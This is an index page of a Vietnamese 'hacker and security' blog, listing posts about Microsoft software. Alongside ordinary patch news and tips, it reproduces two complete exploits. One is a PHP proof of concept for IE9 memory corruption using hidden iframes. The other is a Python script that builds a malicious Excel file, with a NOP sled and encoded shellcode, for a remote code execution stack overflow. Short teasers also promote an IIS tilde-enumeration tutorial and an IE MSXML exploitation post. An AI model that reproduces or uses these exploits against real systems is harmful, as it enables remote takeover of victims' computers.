hacker va bao mat: Microsoft

Monday, May 26, 2014

Microsoft đã chính thức ngừng hỗ trợ cho Windows XP trước ngày 08/04/2014. Điều này để buộc một số lượng lớn người sử dụng chuyển sang phiên bản mới nhất của Windows, nhưng vẫn còn một phần lớn người dùng đang sử dụng hệ điều hành Microsoft lâu đời và phổ biến nhất mặc dù không được cập nhật bảo mật.

Trong khi một số công ty và các tổ chức không thể chuyển hệ điều hành đang chạy Windows XP sang một hệ điều hành khác trước khi giai đoạn hỗ trợ kết thúc vẫn nhận được cập nhật bằng cách trả phí Microsoft cho các bản vá bảo mật và cập nhật.

ĐỌC TIẾP »

Thủ thuật để có thể tiếp tục cập nhật bảo mật cho Windows XP

By: MIN Software on: 11:53 PM

Tuesday, October 8, 2013

Wednesday, August 14, 2013

Microsoft has released its regular “Patch Tuesday” bundle of security patches for Windows and its other software, protecting against a number of critical vulnerabilities.

Some of the security holes are classified as “critical”, meaning that malware or malicious hackers could exploit them to compromise a computer without any interaction by the user.

The most serious fix of the bunch is the MS13-059 cumulative patch for Internet Explorer.

ĐỌC TIẾP »

Over 20 security holes found in Windows, IE and other software. Patch now

By: MIN Software on: 5:58 AM

Friday, March 1, 2013

Thời gian gần đây, một loạt các công ty lớn hàng đầu trên thế giới như Facebook, Apple và mới nhất là Microsoft, lần lượt trở thành nạn nhân của các hacker (nhiều nghi vấn là các hacker đến từ Trung Quốc).

Hệ thống máy tính của những ông lớn này đều bị hacker thâm nhập chủ yếu thông qua một con đường là Java. Và không chỉ mới đây mà trong quá khứ, rất nhiều cuộc tấn công của hacker đều nhằm vào Java trên máy tính người dùng.

ĐỌC TIẾP »

Vì sao Java vẫn không bị khai tử mặc dù liên tục bị hack?

By: MIN Software on: 8:01 PM

Sunday, January 6, 2013

Introductions:
Lỗi này xuất hiện trên các máy chủ web Microsoft IIS cho phép Attacker có thể đoán được tên các file hay folder mà bình thường họ không thể thấy được.
Khi bạn upload 1 file trên website, máy chủ web sẽ tạo ra 1 tên ngắn file cho nó.
Ví dụ khi bạn upload file "default.aspx" , máy chủ sẽ tạo ra 1 file có tên ngắn là "defaul~1.asp"

ĐỌC TIẾP »

[TUT] - Khai thác lỗi Microsoft IIS tilde character ~

By: MIN Software on: 1:00 AM

Tuesday, November 27, 2012

<?php

/**********************************************************
*   Internet Explorer 9 Memory Corruption PoC Exploit    *
**********************************************************
*                                                        *
* Successfully executed with IE9 version 9.0.8112.16421  *
*                                                        *
* Discovered by Jean Pascal Pereira <pereira@secbiz.de>  *
*                                                        *
**********************************************************/

set_time_limit(0);

ini_set('memory_limit', '300M');

if(!file_exists("junk.htm"))
{
  $string = "<span id='";
  
  for($i = 0; $i < 24117256; $i++)
  {
    $string .= "\x90";
  }
  $string .= "'></span>";
  
  file_put_contents("junk.htm", $string);
}

print "View the sourcecode of the iframe below (right click -> view source): <br />\n";
print "<iframe style='width: 800px; height: 500px;' src='junk.htm'>\n";

for($i = 0; $i < 60; $i++)
{
  print "<iframe style='display:none' src='junk.htm'>\n";
}

/* http://0xffe4.org */

?>

Internet Explorer 9 Memory Corruption PoC Exploit

By: MIN Software on: 1:05 PM

Wednesday, October 3, 2012

# Title : Microsoft Office Excel Stack Overflow
# Auther : Senator of Pirates (Khalil Zhani)
# FaceBook : /SenatorofPiratesInfo
# E-Mail : Senator.of.Pirates.team[at]gmail.com
# Greeting : Special thanks to my best friend Mr. Marshal Webb
# Tested : on windowns XP SP3(EN) with Microsoft Office Excel 2003

A remote code execution vulnerability exists in the way that Microsoft Excel handles specially
crafted Excel files. An attacker who successfully exploited this vulnerability could take complete control
of an affected system. This is the same vulnerability that is referenced in MS11-021. Proof of concept exploit code included.

PoC =("\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

"\x3E\x00\x03\x00\xFE\xFF\x09\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"

"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x22\x00\x00\x00\x01\x00\x00\x00\xFE\xFF\xFF\xFF"

"\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"

"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"

"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"

"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"

"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"

"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"

"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"

"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"

"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"

"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"

"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"

"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"

"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"

"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"

"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"

"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"

"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"

"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"

"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFD\xFF\xFF\xFF\x25\x00\x00\x00\x03\x00\x00\x00\x04\x00\x00\x00"

"\x05\x00\x00\x00\x06\x00\x00\x00\x07\x00\x00\x00\x08\x00\x00\x00\x09\x00\x00\x00\x0B\x00\x00\x00"

"\x0B\x00\x00\x00\x0C\x00\x00\x00\x0D\x00\x00\x00\x0E\x00\x00\x00\x0F\x00\x00\x00\x10\x00\x00\x00"

"\x11\x00\x00\x00\x12\x00\x00\x00\x13\x00\x00\x00\x14\x00\x00\x00\x15\x00\x00\x00\x16\x00\x00\x00"

"\x17\x00\x00\x00\x18\x00\x00\x00\x19\x00\x00\x00\x1A\x00\x00\x00\x1B\x00\x00\x00\x1C\x00\x00\x00"

"\x1D\x00\x00\x00\x1E\x00\x00\x00\x1F\x00\x00\x00\x20\x00\x00\x00\x21\x00\x00\x00\xFE\xFF\xFF\xFF"

"\xFE\xFF\xFF\xFF\x24\x00\x00\x00\xFE\xFF\xFF\xFF\xFE\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"

"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"

"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"

"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"

"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"

"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"

"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"

"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"

"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"

"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"

"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"

"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"

"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"

"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"

"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"

"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x52\x00\x6F\x00\x6F\x00\x74\x00"

"\x02\x00\x45\x00\x6E\x00\x74\x00\x72\x00\x79\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

"\x00\x00\x00\x00\x00\x00\x00\x00\x16\x00\x08\x00\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x02\x00\x00\x00"

"\x20\x08\x02\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46\x00\x00\x00\x00\x00\x00\x00\x00"

"\x00\x00\x00\x00\x50\x42\x86\x2A\xFB\x9F\xCA\x01\x23\x00\x00\x00\xC0\x02\x00\x00\x00\x00\x00\x00"

"\x57\x00\x6F\x00\x72\x00\x6B\x00\x62\x00\x6F\x00\x6F\x00\x6B\x00\x00\x00\x00\x00\x00\x00\x00\x00"

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x12\x00\x02\x01\x04\x00\x00\x00"

"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00"

"\x7A\x3F\x00\x00\x00\x00\x00\x00\x09\x00\x53\x00\x75\x00\x6D\x00\x6D\x00\x61\x00\x72\x00\x79\x00"

"\x49\x00\x6E\x00\x66\x00\x6F\x00\x72\x00\x6D\x00\x61\x00\x74\x00\x69\x00\x6F\x00\x6E\x00\x00\x00"

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

"\x28\x00\x02\x01\x01\x00\x00\x00\x03\x00\x00\x00\xFF\xFF\xFF\xFF\x00\x00\x00\x00\x00\x00\x00\x00"

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

"\x00\x00\x00\x00\x00\x00\x00\x00\xD0\x00\x00\x00\x00\x00\x00\x00\x0B\x00\x44\x00\x6F\x00\x63\x00"

"\x75\x00\x6D\x00\x65\x00\x6E\x00\x74\x00\x53\x00\x75\x00\x6D\x00\x6D\x00\x61\x00\x72\x00\x79\x00"

"\x49\x00\x6E\x00\x66\x00\x6F\x00\x72\x00\x6D\x00\x61\x00\x74\x00\x69\x00\x6F\x00\x6E\x00\x00\x00"

"\x00\x00\x00\x00\x00\x00\x00\x00\x38\x00\x02\x01\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x08\x01\x00\x00\x00\x00\x00\x00"

"\x09\x08\x10\x00\x00\x06\x00\x04\xAA\x1F\xCD\x07\xC9\x00\x05\x00\x06\x04\x00\x00")

# fields

PoC +=("\xA7\x00\x04\x00\xB0\x0F\x0C\x00\x3C\x00\x00\x03")

# Data + Nops + Shellcode

PoC +=("\x40\xDF\xD6\xD5\x3B\xDF\xD6\xD5\x3B\x00\x00\x00\x00\x00\x00\x00\x00\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xD7\x71\x10\x30\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x50\xFF\x61\x31\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xB8\x20\x65\x02\x44\xDB\xC2\xD9"

"\x74\x24\xF4\x5A\x33\xC9\xB1\x32\x31\x42\x12\x03\x42\x12\x83\xCA\x99\xE0\xB1\xF6\x8A\x6C\x39\x06"

"\x4B\x0F\xB3\xE3\x7A\x1D\xA7\x60\x2E\x91\xA3\x24\xC3\x5A\xE1\xDC\x50\x2E\x2E\xD3\xD1\x85\x08\xDA"

"\xE2\x2B\x95\xB0\x21\x2D\x69\xCA\x75\x8D\x50\x05\x88\xCC\x95\x7B\x63\x9C\x4E\xF0\xD6\x31\xFA\x44"

"\xEB\x30\x2C\xC3\x53\x4B\x49\x13\x27\xE1\x50\x43\x98\x7E\x1A\x7B\x92\xD9\xBB\x7A\x77\x3A\x87\x35"

"\xFC\x89\x73\xC4\xD4\xC3\x7C\xF7\x18\x8F\x42\x38\x95\xD1\x83\xFE\x46\xA4\xFF\xFD\xFB\xBF\x3B\x7C"

"\x20\x35\xDE\x26\xA3\xED\x3A\xD7\x60\x6B\xC8\xDB\xCD\xFF\x96\xFF\xD0\x2C\xAD\xFB\x59\xD3\x62\x8A"

"\x1A\xF0\xA6\xD7\xF9\x99\xFF\xBD\xAC\xA6\xE0\x19\x10\x03\x6A\x8B\x45\x35\x31\xC1\x98\xB7\x4F\xAC"

"\x9B\xC7\x4F\x9E\xF3\xF6\xC4\x71\x83\x06\x0F\x36\x7B\x4D\x12\x1E\x14\x08\xC6\x23\x79\xAB\x3C\x67"

"\x84\x28\xB5\x17\x73\x30\xBC\x12\x3F\xF6\x2C\x6E\x50\x93\x52\xDD\x51\xB6\x30\x80\xC1\x5A\xB7\x41"

"\x07\x01\x43\x00\x61\x00\x6C\x00\x69\x00\x62\x00\x72\x00\x69\x00\x31\x00\x1E\x00\x04\x01\x01\x00"

"\x38\x00\xBC\x02\x00\x00\x00\x02\x00\xFA\x07\x01\x43\x00\x61\x00\x6C\x00\x69\x00\x62\x00\x72\x00"

"\x69\x00\x31\x00\x1E\x00\xDC\x00\x01\x00\x38\x00\xBC\x02\x00\x00\x00\x02\x00\xFA\x07\x01\x43\x00"

"\x61\x00\x6C\x00\x69\x00\x62\x00\x72\x00\x69\x00\x31\x00\x1E\x00\xDC\x00\x00\x00\x11\x00\x90\x01"

"\x00\x00\x00\x02\x00\xFA\x07\x01\x43\x00\x61\x00\x6C\x00\x69\x00\x62\x00\x72\x00\x69\x00\x31\x00"

"\x1E\x00\xDC\x00\x00\x00\x14\x00\x90\x01\x00\x00\x00\x02\x00\xFA\x07\x01\x43\x00\x61\x00\x6C\x00"

"\x69\x00\x62\x00\x72\x00\x69\x00\x31\x00\x1E\x00\xDC\x00\x00\x00\x3C\x00\x90\x01\x00\x00\x00\x02"

"\x00\xFA\x07\x01\x43\x00\x61\x00\x6C\x00\x69\x00\x62\x00\x72\x00\x69\x00\x31\x00\x1E\x00\xDC\x00"

"\x00\x00\x3E\x00\x90\x01\x00\x00\x00\x02\x00\xFA\x07\x01\x43\x00\x61\x00\x6C\x00\x69\x00\x62\x00"

"\x72\x00\x69\x00\x31\x00\x1E\x00\xDC\x00\x01\x00\x3F\x00\xBC\x02\x00\x00\x00\x02\x00\xFA\x07\x01"

"\x43\x00\x61\x00\x6C\x00\x69\x00\x62\x00\x72\x00\x69\x00\x31\x00\x1E\x00\xDC\x00\x01\x00\x34\x00"

"\xBC\x02\x00\x00\x00\x02\x00\xFA\x07\x01\x43\x00\x61\x00\x6C\x00\x69\x00\x62\x00\x72\x00\x69\x00"

"\x31\x00\x1E\x00\xDC\x00\x00\x00\x34\x00\x90\x01\x00\x00\x00\x02\x00\xFA\x07\x01\x43\x00\x61\x00"

"\x6C\x00\x69\x00\x62\x00\x72\x00\x69\x00\x31\x00\x1E\x00\xDC\x00\x01\x00\x09\x00\xBC\x02\x00\x00"

"\x00\x02\x00\xFA\x07\x01\x43\x00\x61\x00\x6C\x00\x69\x00\x62\x00\x72\x00\x69\x00\x31\x00\x1E\x00"

"\xDC\x00\x00\x00\x0B\x00\x90\x01\x00\x00\x00\x02\x00\xFA\x07\x01\x43\x00\x61\x00\x6C\x00\x69\x00"

"\x62\x00\x72\x00\x69\x00\x31\x00\x1E\x00\xDC\x00\x02\x00\x17\x00\x90\x01\x00\x00\x00\x02\x00\xFA"

"\x07\x01\x43\x00\x61\x00\x6C\x00\x69\x00\x62\x00\x72\x00\x69\x00\x31\x00\x1E\x00\xDC\x00\x01\x00"

"\x08\x00\xBC\x02\x00\x00\x00\x02\x00\xFA\x07\x01\x43\x00\x61\x00\x6C\x00\x69\x00\x62\x00\x72\x00"

"\x69\x00\x31\x00\x1E\x00\xDC\x00\x00\x00\x09\x00\x90\x01\x00\x00\x00\x02\x00\xFA\x07\x01\x43\x00"

"\x61\x00\x6C\x00\x69\x00\x62\x00\x72\x00\x69\x00\x1E\x04\x1C\x00\x05\x00\x17\x00\x00\x22\x24\x22"

"\x23\x2C\x23\x23\x30\x5F\x29\x3B\x5C\x28\x22\x24\x22\x23\x2C\x23\x23\x30\x5C\x29\x1E\x04\x21\x00"

"\x06\x00\x1C\x00\x00\x22\x24\x22\x23\x2C\x23\x23\x30\x5F\x29\x3B\x5B\x52\x65\x64\x5D\x5C\x28\x22"

"\x24\x22\x23\x2C\x23\x23\x30\x5C\x29\x1E\x04\x22\x00\x07\x00\x1D\x00\x00\x22\x24\x22\x23\x2C\x23"

"\x23\x30\x2E\x30\x30\x5F\x29\x3B\x5C\x28\x22\x24\x22\x23\x2C\x23\x23\x30\x2E\x30\x30\x5C\x29\x1E"

"\x04\x27\x00\x08\x00\x22\x00\x00\x22\x24\x22\x23\x2C\x23\x23\x30\x2E\x30\x30\x5F\x29\x3B\x5B\x52"

"\x65\x64\x5D\x5C\x28\x22\x24\x22\x23\x2C\x23\x23\x30\x2E\x30\x30\x5C\x29\x1E\x04\x37\x00\x2A\x00"

"\x32\x00\x00\x5F\x28\x22\x24\x22\x2A\x20\x23\x2C\x23\x23\x30\x5F\x29\x3B\x5F\x28\x22\x24\x22\x2A"

"\x20\x5C\x28\x23\x2C\x23\x23\x30\x5C\x29\x3B\x5F\x28\x22\x24\x22\x2A\x20\x22\x2D\x22\x5F\x29\x3B"

"\x5F\x28\x40\x5F\x29\x1E\x04\x2E\x00\x29\x00\x29\x00\x00\x5F\x28\x2A\x20\x23\x2C\x23\x23\x30\x5F"

"\x29\x3B\x5F\x28\x2A\x20\x5C\x28\x23\x2C\x23\x23\x30\x5C\x29\x3B\x5F\x28\x2A\x20\x22\x2D\x22\x5F"

"\x29\x3B\x5F\x28\x40\x5F\x29\x1E\x04\x3F\x00\x2C\x00\x3A\x00\x00\x5F\x28\x22\x24\x22\x2A\x20\x23"

"\x2C\x23\x23\x30\x2E\x30\x30\x5F\x29\x3B\x5F\x28\x22\x24\x22\x2A\x20\x5C\x28\x23\x2C\x23\x23\x30"

"\x2E\x30\x30\x5C\x29\x3B\x5F\x28\x22\x24\x22\x2A\x20\x22\x2D\x22\x3F\x3F\x5F\x29\x3B\x5F\x28\x40"

"\x5F\x29\x1E\x04\x36\x00\x2B\x00\x31\x00\x00\x5F\x28\x2A\x20\x23\x2C\x23\x23\x30\x2E\x30\x30\x5F"

"\x29\x3B\x5F\x28\x2A\x20\x5C\x28\x23\x2C\x23\x23\x30\x2E\x30\x30\x5C\x29\x3B\x5F\x28\x2A\x20\x22"

"\x2D\x22\x3F\x3F\x5F\x29\x3B\x5F\x28\x40\x5F\x29\xE0\x00\x14\x00\x00\x00\x00\x00\xF5\xFF\x20\x00")





try:

A = open("Exploit.xlb","wb")   

A.write(PoC)

A.close()

print "[*] The file created [*]"

except:

print "[*] Error while creating file [*]"



print "[*] Enter to continue.. [*]"

raw_input()

# 1337day.com [2012-10-02]

Microsoft Office Excel Stack Overflow

By: MIN Software on: 8:02 PM

File Hosts trong Windows cho phép bạn xác định tên miền của trang web được liên kết với địa chỉ IP. Hơn nữa, các liên kết này được ưu tiên hơn DNS, do đó một vài DNS server chỉ cho phép trang facebook liên kết đến những địa chỉ IP nhất định, nhưng bạn vẫn có thể chỉnh sửa file Hosts để cho phép liên kết facebook đến bất kỳ địa chỉ IP nào, đó cũng là cách để vào facebook hiệu quả nhất hiện nay. Bên cạnh đó, việc chỉnh sửa file Hosts còn có nhiều tính năng hữu ích khác.

ĐỌC TIẾP »

Các thủ thuật hữu ích với file Hosts

By: MIN Software on: 11:30 AM

Saturday, September 22, 2012

Tại sao ở đây chúng ta gọi là Advanced, bởi vì khi exploit IE8 và IE9 trên windows 7, người dùng phải cài đặt Java6 plug-in. Bởi vậy, các researcher ở Vupen đã nghiên cứu phương pháp exploit mà không cần người dùng cài đặt Java plug-in. Mọi người cùng tham khảo và thảo luận nhé!
ĐỌC TIẾP »

Advanced Exploitation of IE MSXML Remote Uninitialized Memory (MS12-043 / CVE-2012)

By: MIN Software on: 10:37 PM

hacker va bao mat

Monday, May 26, 2014

Thủ thuật để có thể tiếp tục cập nhật bảo mật cho Windows XP

Tuesday, October 8, 2013

Microsoft finally fixes critical Internet Explorer vulnerability

Wednesday, August 14, 2013

Over 20 security holes found in Windows, IE and other software. Patch now

Friday, March 1, 2013

Vì sao Java vẫn không bị khai tử mặc dù liên tục bị hack?

Sunday, January 6, 2013

[TUT] - Khai thác lỗi Microsoft IIS tilde character ~

Tuesday, November 27, 2012

Internet Explorer 9 Memory Corruption PoC Exploit

Wednesday, October 3, 2012

Microsoft Office Excel Stack Overflow

Các thủ thuật hữu ích với file Hosts

Saturday, September 22, 2012

Advanced Exploitation of IE MSXML Remote Uninitialized Memory (MS12-043 / CVE-2012)

BÌNH LUẬN

Follow on FaceBook

Popular Posts

Trending Video

Thống Kê Online

BÀI ĐĂNG

Nhãn

Translate

Follow us

About Me

Year

About BlogTube

Popular Posts

Labels

Monday, May 26, 2014

Tuesday, October 8, 2013

Wednesday, August 14, 2013

Friday, March 1, 2013

Sunday, January 6, 2013

Tuesday, November 27, 2012

Wednesday, October 3, 2012

Saturday, September 22, 2012

BÌNH LUẬN

Follow on FaceBook

Popular Posts

Trending Video

Thống Kê Online

BÀI ĐĂNG

Nhãn

Translate

Follow us

About Me

Year

Our Team Members

About BlogTube

Popular Posts

Labels